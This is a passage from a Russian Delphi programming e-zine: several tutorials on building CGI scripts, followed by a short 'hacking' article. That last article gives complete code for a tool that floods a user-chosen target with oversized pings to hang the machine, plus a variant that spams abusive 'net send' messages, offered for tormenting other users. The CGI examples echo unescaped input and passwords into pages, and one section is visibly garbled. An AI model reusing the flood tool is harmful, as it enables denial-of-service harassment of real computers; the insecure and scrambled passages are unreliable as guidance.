браузер (у меня это IE) и в поле адреса пишем http://127.0.0.1. У нас откроется страница Index.htm, которую мы набирали ручками. Теперь можно нажать на кнопку «подача запроса». Если ты правильно написал прогу и поместил ее в каталог cgi-bin, который должен быть заранее опознан сервером, то откроется страница http://127.0.0.1/cgi-bin/open.exe?, которая и будет генерироваться приложением open.exe, которое мы только что написали. Страница содержит небольшой текст и кнопки «Назад» и «Далее». Кнопка назад у нас уже полностью работоспособна, т. к. за ее выполнением следит JavaScript, уже сгенерированный в странице. Кнопка «Далее» пока еще не может работать т. к. она ссылается на некое приложение CGI с именем go.exe. Попробуй нажать на нее и ты получишь соответствующую ошибку, но в строке адреса увидишь путь к приложению, которое мы пока что не создали. Думаю, что пока на сегодня хватит. Если тебе не нужны исходники, то ты можешь их удалить, но саму прогу и страницу Index.htm оставь. Они нам еще пригодятся, в следующих примерах.

P. S. Сразу хочу попросить прощения за то, что не стал генерировать красивые

страницы, просто наша цель сегодня состояла только в первом знакомстве с CGI. Вы можете налепить туда и различные стили, шрифты, скрипты (VBScript, JavaScript и т. д.). И еще. Я согласен с тем, что этот пример в общем то не показывает всю мощь CGI, т. к. страницу созданную нашей прогой, можно было и набрать ручками, но обещаю, что в следующих главах мы будем создавать страницы динамически, реагируя на то, что запросил у нас пользователь, создадим счетчик посещения и изучим новый полезный компонент TPageProducer, который существенно облегчит нам работу и сэкономит наше время (а некоторым и деньги). За сим прошу откланяться и пожелать вам удачи и терпения, чего и необходимо в нашем нелегком деле…

-Fox- [email protected]

19

Page 20: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Ты ищешь хорошую книгу по Delphi? Зайди на www.vr-online.ru и скачай полный электронный вариант Библии Delphi от Фленова Михаила абсолютно бесплатно. Эта книгу научит тебя программировать, даже если ты никогда в жизни не написал ни строчки кода. В ней описано всё, начиная от основ программирования и заканчивая реальными примерами программ и задач, которые программисты решают каждый день. Библия Delphi – самая иллюстрированная и самая бесплатная книга. По ней научились программировать множество людей и ты тоже сможешь. ТЕПЕРЬ ТЫ МОЖЕШЬ КУПИТЬ ПОЛНЫЙ ВАРИАНТ КНИГИ (РАСШИРЕННЫЙ И ДОРАБОТАННЫЙ) В КОМПЬЮТЕРНОМ МАГАЗИНЕ СВОЕГО ГОРОДА). Если в магазинах твоего города ещё нет этой книги, то заходи на наш сайт и ты узнаешь, где её можно заказать в Интернете. Заказать полный вариант книги через инет

20

Page 21: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: CGI – Дата и время

Итак мы с тобой подробно обсудили зачем нужны CGI скрипты и их роль в Интернете. Но предыдущая наша страница не требовала ввода каких-либо данных и отображения их внутри себя. Она не нуждалась в генерации, ее можно было наштопать заранее и не писать специальных скриптов, а потом просто сослаться на нее. Именно поэтому я хочу вас познакомить с динамическим созданием документов, используя все тот же интерфейс CGI. Пример будет достаточно простой и до боли знакомый тем, кто хоть раз программировал на Delphi. Сейчас мы просто повторим наш предыдущий пример, но добавим в страницу текущее время и дату, причем это будет не сложнее чем, если бы мы делали простую прогу.

В прошлой статье я просил тебя не удалять скрипт и индексную страницу. Если ты помнишь мы сгенерировали страницу, на которой были кнопки «Назад» и «Далее». За работоспособность кнопки «Назад» отвечает JavaScript, который указывает браузеру, что нужно вернуться на предыдущую страницу. Кнопка «Далее» находится внутри формы и отправляет запрос серверу по адресу указанному в свойстве action формы (http://127.0.0.1/cgi-bin/go.exe). Сейчас мы создадим скрипт go.exe, который сгенерирует нам следующую страницу, но помимо всего прочего отобразит текущую дату и время.

Итак, запускаем Delphi и сразу же жмем на File New Other… В появившемся окне New Items выбираем Web Server Application и щелкаем на кнопку ОК. В появившемся окне выбираем CGI Stand-alone executable и снова щелкаем на кнопку ОК. И еще раз вместо формы у нас появляется Web Module, с которым мы и будем работать. В модуле дважды щелкаем по свойству Actions и в открывшемся окне создаем новый элемент, щелкнув по кнопке Add New (она должна быть единственной активной). Создав новый элемент, в объектном инспекторе переходим на вкладку Evens и дважды щелкаем на событии onAction.

Если вся эта операция показалась тебе незнакомой, то, скорее всего, ты не читал мою предыдущую главу или я недостаточно хорошо ее объяснил. В любом случае тебе придется перечитать и предыдущую статью и начало этой.

Если ты сделал все правильно, то в появившемся обработчике напиши следующее:

Response.Content:='<html><head><title>CGI Пример 2</title></head>'+ '<body bgcolor="#D2D2D2">'+ '<form action="http://127.0.0.1/cgi-bin/next.exe">'+ ' Добро пожаловать на нашу страницу<br>'+ //Последующие две строки очень важны для нас в этой статье 'Сегодня '+DateToStr(Date)+'<br>'+ 'Сейчас '+TimeToStr(Time)+'<hr>'+ ' Нажми на "Далее", чтобы продолжить или "Назад", чтобы вернуться.<br>'+ '<input type="button" value="< Назад" onClick="javascript:history.back()">'+ '<input type="submit" value="Далее >"><br><hr>'+ '</form></body></html>';

21

Page 22: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Как видишь весь код здесь почти такой же как и в том, который мы писали в прошлой статье, но теперь он показывает время и дату на сервере. Как и в прошлый раз я использовал JavaScript для кнопки «Назад», а «Далее» у нас снова ссылается на следующий скрипт, который мы напишем в следующей статье. Взгляни на 5-ую и 6-ую

бавление функции Delphi (Date и Time соответстве но . Но тип у нас должен быть String именно поэтому нам приходится преобразовывать дату и время с помощью же о ных и всем знакомым функций Delphi (DateToStr и TimeToStr). В качестве единственного параметра ередадим им дату (для Date время (для TimeToStr).

А тепе

строки. Именно там и происходит разрыв строки и дон )

тех быч

пToStr) и

рь я хочу тебя предостеречь. Представь себе, что твой у е

м на требует от него вывести даоформления страницы, когда дата/время в общем то ч

в

сли ты успел заметить, эта статья была совсем не трудной и легкой для пони

пользователь

дачи и до встречи в следующей статье…

-Fox- gof-leonid@m

сервер под правл нием Windows (знаю, в это трудно поверить) обслуживает сразу несколько сотен клиентских ту или время (например, в целях не имеют особого зна ения). Это

вызовет серьезное замедление работы сервера, что приведет к длительной загрузке страниц и обработке запросов, что не желательно для нас. Но к счастью у нас есть множество совершенно бесплатных скриптов, написанных на JavaScript, которые могут отображать на страницах время или дату и которые обрабатываются клиентской машиной. Именно поэтому серверу достаточно передать этот скрипт внутри документа html (как мы это делали с кнопкой «Назад») и клиентская машина сама выведет текущую дату, что не вызовет лишней и бесполезной работы сервера. Но и здесь есть одно но. Дело в том, что на клиентской машине может быть неверно определено системное время, а на сервере, как правило, время всегда настроено верно. Поэтому если вам ажно показывать точное время и это имеет смысл, то, конечно, здесь следует использовать наши скрипты, выполняемые сервером, а не клиентом. Зачастую дата и время требуются не для выведения их на страницу, а для регистрации пользователя в таблице базы данных или иных подобного рода действий.

Наш скрипт уже выполнен

ашин и каждая маши

Емания. Просто с помощью этого примера я хотел, чтобы вы могли сделать себе

небольшую передышку. В следующей статье мы будем динамически создавать страницы в зависимости от того, что ввел и, конечно же, закрепим то, что было пройдено в этой статье. У

ail.ru

22

Page 23: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: CGI поля ввода

После того, как ты познакомился с первыми азами создания CGI скриптов, я спешу тебя познакомить с созданием приложений, в которых генерация страниц зависит от ввода данных пользователем. Но прежде чем мы начнем знакомство, я хочу чтобы ты немного разобрался, как наша программа будет получать данные, введенные пользователем, и, соответственно, как будет их обрабатывать. Для этого наберем ручками страницу, в которой у нас будет храниться форма с единственным полем ввода и кнопкой отправки запроса. Вот пример этой страницы:

<html> <head> <title>Пример 3</title> </head> <body bgcolor="#D2D2D2"> <form action="http://127.0.0.1/cgi-bin/edit.exe"> <b><i>Введи свое имя:</i></b><br> <input type="text" name="user"><input type="submit"> </form> <hr> </body> </html>

Как видишь это обычная страница подобная предыдущей, но теперь здесь появилось текстовое поле для ввода информации. Об этом говорит атрибут type в теге <input>, значение которого равно text. Также очень важно дать имя этому полю в атрибуте name. У меня оно равно user. Суть дела такая. Мы показываем эту страницу пользователю, он вводит в поле свое имя и жмет на кнопку отправки данных. После чего генерируется страница с приветствием пользователя, где указывается его имя. Наш скрипт получит данные через строку, которая в нашем случае будет иметь следующий вид:

Начальная страница с полем ввода

,

http://127.0.0.1/cgi-bin/edit.exe?user=Fox

Если у тебя есть огромное желание понять, что здесь написано и почему это должно быть тебе интересно, то смотри далее. Если у тебя совершенно нет такого желания и ты хочешь сразу же приступить к кодингу, то я все равно пропущу тебя через все то, что будет описано ниже, т. к. это действительно интересно и совсем не трудно. К тому же

23

Page 24: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

программирование любых CGI скриптов на любом языке требует понимания этой строки.

Теперь начнем по порядку. Адрес http://127.0.0.1 – это локальный адрес к моей странице у меня на машине. Далее cgi-bin – это локальная папка, в которой лежат скрипты. edit.exe – это, собственно, имя моего скрипта, который я потом напишу. В общем то, для тебя это уже должно быть понятно. Целиком этот адрес уже прописан в атрибуте action нашей формы в страничке. После нажатия на кнопку отправки данных, мы дополнительно получаем приставку ?user=Fox, где знак вопроса – символ отделения полного пути от параметров, передаваемых скрипту. Наш единственных параметр – user (это имя было прописано в атрибуте name тега <input>). Он содержит текст, вписанный пользователем в поле ввода. У меня это Fox. Бывают случаи (почти всегда), когда одному скрипту требуется передать несколько параметров (несколько значений полей ввода). В этом случае все параметры отделяются друг от друга символом & (кажись его называют амперсандом). Например, у нас есть поле ввода с именем user и такое же с именем password. При отправке такой формы строка будет иметь вид:

http://127.0.0.1/cgi-bin/edit.exe?user=Fox&password=666

Естественно, что каждое имя параметров должно быть уникальным, т. е. неповторимым с другими именами. И последний момент. При отправке текста с использованием буржуйских букв (A - Z), значения параметров в строке будет отображаться точно так же, но если отправить текст русскими буквами, то в строке он будет иметь другой вид типа user=%D4%EE%EA%F1, где %D4%EE%EA%F1 – набранное слово Фокс. По идее этот текст нужно сначала расшифровать, чтобы отправить ответные данные, но программирование на Delphi упрощает нам эту задачу, делая это автоматически. При этом мы совершенно не задумываемся об этом и работаем с данными как с обычными переменными.

Все. Теперь мы можем приступить к программированию. Если ты воспользовался моим советом и не стал удалять предыдущий пример, то сгенерируй страницу, которую я набрал ручками в начале этой статьи, по нажатию на кнопку далее. Сделать это можно используя код

Response.Content:= //После знака присваивания спиши //весь код нашей страницы. Если ты все-таки удалил предыдущий пример, то можешь набрать ручками эту

страницу и сохранить ее в web папке с именем Index.htm, но не забудь настроить Web-сервер, на поддержку запуска CGI-скриптов из папки cgi-bin.

Ну все. Теперь переходим к программированию и созданию нашего exe-шника

edit.exe. Запускаем Delphi. Затем жмем File New Other… Дважды щелкаем на Web Server Application, в появившемся окне выбираем пункт CGI Standart-alone executable и жмем на кнопку OK. Дважды щелкаем мышью в окне WebModule1 и в появившемся окне создаем новый элемент. Для начала выделим его и, перейдя на вкладку Events в инспекторе создаем обработчик события onAction.

Сейчас мы должны создать страницу, которая воспроизведет текст, написанный

пользователем в поле с именем user (напомню, что это имя содержится в атрибуте name тега <input>).

За отображением данных у нас следит выражение Response.Content:=. Этим

выражением мы пользовались на протяжении всех встреч со мной на страницах этого журнала. Но мы можем отобразить данные, но не знаем как получить данные от пользователя. Для этого мы изучим новое выражение, с которым также долго не будем расставаться.

24

Page 25: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Text:=Request.QueryFields.Values['user'];

Что? Тебе кажется что это трудно? Совсем нет. Не пугайся здесь все очень просто и со временем эта строка станет тебе лучшим другом. Как видишь, в квадратных скобках свойства Values я прописал имя поля, из которого мне необходимо получить значение. Так как это имя есть строка, мне необходимо заключить ее в одинарные кавычки. Вся эта конструкция изолирует нас от необходимости разделения значений параметров, а также автоматически расшифровывает русско-язычный текст и сохраняет значение заданного параметра в текстовую переменную Text. Хотя я, в основном, никогда не сохраняю значения в переменные, а сразу же начинаю работу с полученными от формы значениями параметров. Но хватит болтовни. Response.Content:='<html><head><title>Пример 4</title></head>'+ '<body bgcolor="#D2D2D2">'+ '<hr>'+ '<b><i>Привет '+Request.QueryFields.Values['user']+'</i></b>'+ '<br>'+ 'Ты пришел сюда '+DateToStr(Date)+

25

'<hr>'+ '</body></html>'; Скомпилируй программу, не забудь дать exe-шнику имя edit.exe и кинь его в директорию, с которой начинается запуск скриптов. Как видишь весь текст выводится с помощью Response.Content, в котором и содержится выводимый текст страницы. В четвертой строке мы получили значение параметра user и вписали его в страницу. Ниже мы сделали вывод текущей даты, установленной на сервере (как я и обещал повторить это в следующем примере). Если у тебя все получилось ты должен при нажатии на кнопку получить страницу. Иногда бывают случаи, когда пользователь ничего не вводит в поле ввода. Тогда значение параметра в строке становится пустым. В этом случае в программе не возникнет ошибки, но в странице он не увидит своего имени. Если данные все же обязательны для ввода, то можно проверить их наличие с помощью оператора if, используя схему: if Request.QueryFields.Values['user']=’’ then begin // какие то действия end else begin // какие то действия end; Но сначала вспомни о загрузке сервера. Лучше всего не нагружать сервер излишними проверками и загрузками страниц, а использовать для проверки наличия текста JavaScript. Заполненность поля будет проверять не сервер, а машина клиента, что гораздо предпочтительнее. Как видишь, я не стал больше создавать на странице кнопки «Назад» и «Далее». Если до сих пор твои скрипты работали, значит ты уже достаточно хорошо понимаешь

Page 26: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

принцип работы скриптов, а значит больше нет необходимости повторять эти действия из статьи в статью. Если хочешь, то ты можешь продолжать создавать такие кнопки. Это поможет тебе видеть твои результаты и анализировать свои шаги, в освоении web-программирования на Delphi. Удачи тебе и больших успехов…

-Fox- [email protected]

26

Page 27: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: CGI – CheckBox и RadioButton в HTML Создавая программы для Windows, наверняка ты хоть раз пользовался

замечательными компонентами – CheckBox и RadioButton. Они действительно удобны в работе как для программиста так и для конечного пользователя программы. Зачастую такие компоненты используются в окнах настройки программ. Например, можно посмотреть в окно «Параметры» выполнив команду Сервис Параметры в MS Word. Такие компоненты используются так же и в документах html. С помощью них очень удобно создавать опросы и голосования, проводить регистрации пользователей в различных системах. Для начала мы рассмотрим компонент CheckBox и создадим CGI скрипт с его использованием.

<html> <head> <title>Скрипты на Delphi</title> </head> <body bgcolor="#D2D2D2"> <form action="http://127.0.0.1/cgi-bin/check.exe"> Ваше имя:<br> <input type="text" name="user"><br><br> Что вы любите?<br><br> <input type="checkbox" name="1">Люблю программить на Delphi<br> <input type="checkbox" name="2">Люблю громкую музыку<br> <!—Обрати внимание на следующую строку> <input type="checkbox" name="3" checked>Больше жизни люблю пиво<br> <br><input type="submit"> </form> </body> </html>

ек до ы

так нент

я и

Этот т ст мы лжн набрать ручками, сохранить в файле с именем Index.htm и поместить в web папку. Теперь разберемся, что мы здесь имеем. А имеем мы здесь одно поле ввода для ввода имени пользователя и три компонента CheckBox. Чтобы создать ой компо , нам необходимо в атрибуте type тега <input> указать значение checkbox. Также очень важно дать имя этому компоненту. У мен мена состоят из цифр, что потом нам очень пригодится. Также ради примера в 3-ем теге

<input> я поставил флаг checked, что гарантирует нам выбранное значение при загрузке страницы. Это аналогично тому, что если бы мы в Delphi выставили свойство

Страница с заполненным полем ввода

27

Page 28: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Checked в true у компонента CheckBox. Суть дела такая. В общем при нажатии на кнопку отправки данных, скрипт генерирует страницу, в которой отображает имя, введенное пользователем, и показывает увлечения, выбранные пользователем. Программа получит данные от формы через адресную строку, которая при выборе каждого CheckBox’а будет иметь вид: http://127.0.0.1/cgi-bin/check.exe?user=Fox&1=on&2=on&3=on Как видно из строки форма отправляется на обработку скрипту с именем check.exe. Ему передаются данные через параметры, которые отделяются друг от друга символом &. Если на странице CheckBox был выбран (поставлена галочка), тогда в строке показывается имя параметра и значение равное «on», иначе параметр вообще не прописывается в строке и значение его остается пустым. Соответственно в Delphi мы будем пользоваться именно этими знаниями. Засим, откроем Delphi и создадим WebModule. В окне Editing WebModule.Actions создаем новый элемент и для него делаем обработчик события onAction. Все это мы уже делали в предыдущих примерах. Далее смотри в написанную мной процедуру: procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject; Request: TWebRequest; Response: TWebResponse; var Handled: Boolean); var Text: String; begin Text:=''; if Request.QueryFields.Values['1']='on' then Text:=Text+' любишь программировать на Delphi, '; if Request.QueryFields.Values['2']='on' then Text:=Text+'любишь слушать громкую музыку, '; if Request.QueryFields.Values['3']='on' then Text:=Text+'больше жизни любишь пиво, '; Response.Content:='<html><head><title>Скрипты на Delphi</title></head>'+ '<body bgcolor="#D2D2D2">'+ '<hr>'+ 'Привет '+Request.QueryFields.Values['user']+'<br>'+ 'Я знаю, что ты '+Text+'пока'+ '<hr></body></html>'; end;

28

Page 29: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Здесь все достаточно просто. Сначала для удобства я объявляю текстовую переменную Text. Далее на всякий случай делаю пустым эту переменную. После этого я проверяю: равны ли значения параметров значению on. Если да, то записываю в Text его предыдущее значение + текст, соответствующий Caption каждого CheckBox’а (текст рядом с ними). Далее вывожу на страницу ее текст, где вставляю в строку имя юзера, полученное с помощью конструкции Request.QueryFields.Values[‘user’] и переменную Text, в которой так же хранится текст. Почему же названия

параметров я сделал в виде цифр? А это для того, чтобы к ним удобно было обращаться через цикл for, используя индекс параметра (в одном из журналов этот способ ранее описывался), который у нас является цифрой, хотя и в текстовом формате. Тогда весь код существенно сократится и станет более удобным для понимания.

Наша прога завершилась, показав нам результат в окне б

RadioButton так же оформляется на странице, но в атрибуте type тега <input> необходимо прописать значение radio. Работа с этими компонентами аналогична с CheckBox, т. е. если элемент выбран, то параметр получает значение on иначе остается пустым. Наверное, пора мне уже закругляться и пожелать вам удачи и терпения для изучения этой статьи.

-Fox- [email protected]

29

Page 30: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: уменьшение размера скриптов

Программируя на Delphi, ты не раз замечал, какого размера получаются твои программы. Во многом это связано с библиотекой VCL. Если раньше каждый рядовой пользователь имел небольшое дисковое пространство и программеры всячески пытались сократить размер программ, то теперь эта проблема не особо волнует современных пользователей. Скорее борьба идет не за сокращение размера исполняемых файлов, а за увеличение скорости их работы, повышения производительности программ. Так же ведущую роль играет конкуренция, которая заставляет программеров создавать свои проги за короткое время, пользуясь различными удобствами, предоставляемыми, например, Borland.

CGI скрипты, написанные на Delphi, так же не отличаются маленьким размером. Но сокращение размера скриптов до сих пор является важной проблемой для разработчиков. На сколько мне известно, ни один администратор бесплатного хоста не станет брать грех на душу и разрешать запуск exe-шников, закачанных пользователем. Зачастую хосты предлагают воспользоваться своими скриптами, чаще всего написанными на Perl или PHP. Именно поэтому разработчики стали переходить на платные хосты, размещая на сервере (на определенных условиях) свои скрипты. Очень часто плата на таких хостах определяется ежемесячной оплатой, размер которой зависит от количества Mb, занятых на винте сервера. Именно поэтому мы и должны бороться за сокращение «фигуры» скриптов.

Поэтому, прежде чем переходить к изучению компонента Delphi, для удобного создания CGI скриптов, я решил написать способ написания программ, небольшого размера, для тех, кому это действительно нужно. Поэтому «те, кому это действительно нужно», приготовьтесь отказаться от всех удобств использования компонентов, а также от конструкций Response.Content и Request.QueryFields.Values[].

Для начала перейдем к написанию нашей страницы, с которой и будет проходить запуск. У меня она выглядит примерно вот так: <html> <head> </head> <body bgcolor="#D2D2D2"> <hr> Для входа введите имя и пароль. <form action="http://127.0.0.1/cgi-bin/cgi.exe" method="get"> Ваше имя:<br> <input type="text" name="user"><br> Пароль:<br> <input type="text" name="password"> <input type="submit" value="ОК"> </form> <hr> </body> </html>

Здесь тебе уже все должно быть знакомо. Единственное – это то, что в теге

<form> я установил атрибут method, в котором указал значение get. Не пугайся. Просто это метод передачи строки запроса и он нам сейчас очень пригодится. По умолчанию он имеет значение get. А вообще существует еще метод post. При нажатии

30

Page 31: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

на кнопку ОК на странице, скрипт должен сгенерировать страницу, в которой нам будет сказано верно и введены имя и пароль. Имя и пароль у нас будут постоянные и содержаться в тексте программы. В дальнейшем мы будем брать их из текстового файла или из базы данных. Но это будет только в следующих статьях.

Теперь мы приступим к кодингу. Сначала нам необходимо создать главный файл проекта с расширением *.dpr. Но теперь наступил тот случай, когда нам будет удобнее не запускать Delphi, а создать этот файл в обычном текстовом редакторе. Очень удобно это сделать в блокноте. У меня в качестве блокнота Windows стоит очень не плохая программка TigerPad, которая умеет подсвечивать как текст html, Pascal, так и множество других текстов. В блокноте набираем следующий текст:

program CGI;{$APPTYPE CONSOLE} uses Windows, CGIUN in 'CGIUN.pas'; begin Main; end.

Теперь мы сохраним этот текст в любую папку под именем cgi.dpr. Как видно из листинга этот проект ссылается на некий модуль, находящийся в файле CGIUN.pas, в той же директории, где находится сам файл проекта. Именно поэтому мы и должны написать этот модуль и сохранить его в ту же папку с именем CGIUN.pas. Этот модуль мы также напишем в блокноте. unit CGIUN; interface uses SysUtils, Windows; procedure Main; implementation var InParams: string; // Читаем переданные параметры из переменной окружения procedure InitParams; var SS: string; begin SetLength(SS,10000); GetEnvironmentVariable('QUERY_STRING',@SS[1],2000); InParams:=PChar(@SS[1]); end; // Функция переводит шестнадчитиричный символ в число function HexToInt(CH: char): integer; begin Result:=0; case CH of '0'..'9': Result:=Ord(CH)-Ord('0'); 'A'..'F': Result:=Ord(CH)-Ord('A')+10; 'a'..'f': Result:=Ord(CH)-Ord('a')+10; end; end; // Преобразует символы, записанные в виде %2B к правильному виду function Decode(Value: string): string; var I, L: integer; begin Result:=''; L:=0; for I:=1 to Length(Value) do begin if(Value[I]<>'%') and (Value[I]<>'+') and (L<1) then begin Result:=Result+Value[I]; end else begin

31

Page 32: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

if(Value[I]='+') then Result:=Result+' ' else if(Value[I]='%') then begin L:=2; if(I<Length(Value)-1) then begin Result:=Result+Chr(HexToInt(Value[I+1])*16+HexToInt(Value[I+2])); end; end else Dec(L); end; end; end; // Возвращает значение параметра, заданного в Name function ParamByName(Name: string): string; var SS, ST: string; K: integer; begin Result:=''; SS:=InParams; while Length(SS)<>0 do begin K:=Pos('&',SS); if(K<>0) then begin ST:=Copy(SS,1,K-1); SS:=Copy(SS,K+1,10000); end else begin ST:=SS; SS:=''; end; K:=Pos('=',ST); if(K<>0) then begin if(Name=Copy(ST,1,K-1)) then begin Result:=Decode(Copy(ST,K+1,6000)); end; end; end; end; procedure Main; var UserId, Password: string; begin InitParams; UserId:=ParamByName('user'); Password:=ParamByName('password'); WriteLn('Content-Type: text/html'); WriteLn; WriteLn('<html>'); WriteLn('<head>'); if(UserId='user') and (Password='password') then begin WriteLn('<title>СGI скрипт: доступ разрешен</title>'); WriteLn('</head>'); WriteLn('<body>'); WriteLn; WriteLn('<h1>доступ разрешен</h1>'); end else begin WriteLn('<title>СGI скрипт: ошибка авторизации</title>'); WriteLn('</head>'); WriteLn('<body>'); WriteLn; WriteLn('<h1>ошибка авторизации</h1>');

32

Page 33: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

end; WriteLn(' Имя: <b>'+UserId+'</b>'); WriteLn(' Пароль: <b>'+Password+'</b>'); WriteLn('</body>'); WriteLn('</html>'); end; end.

В общем то, пример получился очень большим, но во многом это связано, с тем,

что мы отказались от использования объектов Delphi, а вместо них написали функции, преобразовывающие строку из шестнадцатеричного кода (если текст в строке запроса был с использованием русских букв), а также функции, разделяющие параметры и получающие их значения. Вывод страницы здесь происходит с помощью функций WriteLn, а проверка условий с помощью оператора if. Я думаю, что функции, описанные в этом листинге, пригодятся очень многим.

Не забудь скомпилировать скрипт и кинуть его в папку, откуда web-сервер будет запускать его. У меня это традиционная cgi-bin директория. Для начала протестируй прогу на работоспособность, а после, если это тебе действительно интересно обрати внимание на размер скрипта. Если раньше мы писали скрипты размером около 165 Kb, то теперь, наш скрипт весит всего ничего – 41 Kb. Разумеется, если мы добавим в него функциональности, то он, конечно, слегка распухнет. Но зачастую все скрипты выполняют незначительную функцию.

Да. И еще я чуть не забыл рассказать о методе post. А рассказывать о нем я ничего не буду, лучше почитай инфы о построении форм в html. Но скажу только одно. Если в атрибуте method тега <form> ты указываешь значение post, т. е. используешь этот метод, то в коде скрипта тебе необходимо изменить процедуру InitParams до следующего состояния: procedure InitParams; var STR: string; StdIn, Size, Actual: cardinal; // если компилируется на Delphi 2 или 3 // то тип должен быть integer begin StdIn := GetStdHandle(STD_INPUT_HANDLE); Size := SetFilePointer(StdIn, 0, nil, FILE_END); SetFilePointer(StdIn, 0, nil, FILE_BEGIN); SetLength(STR,Size+1); if (Size <= 0) then Exit; ReadFile(StdIn, STR[1], Size, Actual, nil); STR[Size+1] := #0; InParams:=PChar(@STR[1]) end; Думаю, что на этом пора заканчивать. Если честно, то изучать создание CGI скриптов я начал именно в Delphi. Причем на страницах Интернета мне попалась одна статейка, в которой подробно разбиралось все то, что я тебе сейчас выложил. Конечно, неплохо, с моей стороны, было бы указать адрес этой страницы, но увы, я его потерял, а все листинги, выложенные здесь, хранились у меня в исходниках на винте. Иногда я пользуюсь этим примером, но чаще всего пользуюсь объектами, что конечно влияет на размер прог, но и придает кодингу некоторую изюминку, благодаря которой программирование становится увлекательнее. Надеюсь, что эта статья тебе пригодилась и она будет долго лежать на твоем винте в качестве справочника.

-Fox- [email protected]

33

Page 34: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi - хакерим

Автор статьи: EViLPROGER (www.evilproger.tk) Здравствуй, читатель! Сегодня мы не будем ничего нюкать. Зато будем доставать юзеров. Ведь ничего не развлекате пиплов, как страдание ближнего своего. Программа PingKiller Наша цель очень проста – написать прогу, тормозящую комп злобного юзера. Ты думаешь это очень сложно? Да нет, запросто! В этой статье я покажу как. Создай новый Application в Delphi. На форму брось TEdit, TButton, TMemo и несколько TLabel для упрощения дизайна. Должно получиться примерно следующее:

Перейдём к кодингу. Обработчик события OnClick кнопки Button1 надо дописать до вида: procedure TForm1.Button1Click(Sender: TObject); var i: integer; //счётчик begin //поехали! Memo1.Clear; //чистим поле состояния Memo1.Lines.Add(TimeToStr(Time) + ': Начата атака.'); //извещаем хацкера for i:=1 to 65500 do begin //цикл… WinExec(PChar('ping -l 65500 ' + Edit1.Text), sw_hide); //тормозим машину цели огромным ICMP пакетом Memo1.Lines.Add(TimeToStr(Time) + ': Пакет ' + IntToStr(i) + ' отправлен...'); //извещаем хакера end; //конец циклу Memo1.Lines.Add(TimeToStr(Time) + ': Атака завершена.'); //извещаем хацкера end; Всё, прога готова, можно издеваться.

34

Page 35: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

У меня эта гадина комп по локалке повесила. Ещё можно сделать такой прикол: for i:=1 to 65500 do begin //цикл… WinExec(PChar(‘net send ' + Edit1.Text + ‘ hello FUCKHEAD’), sw_hide); //отправляем сетевое сообщение. Работает только в Win2K/XP. Всё, конец статьи. Желаю тебе успехов в этом нелёгком деле – хакерстве…

35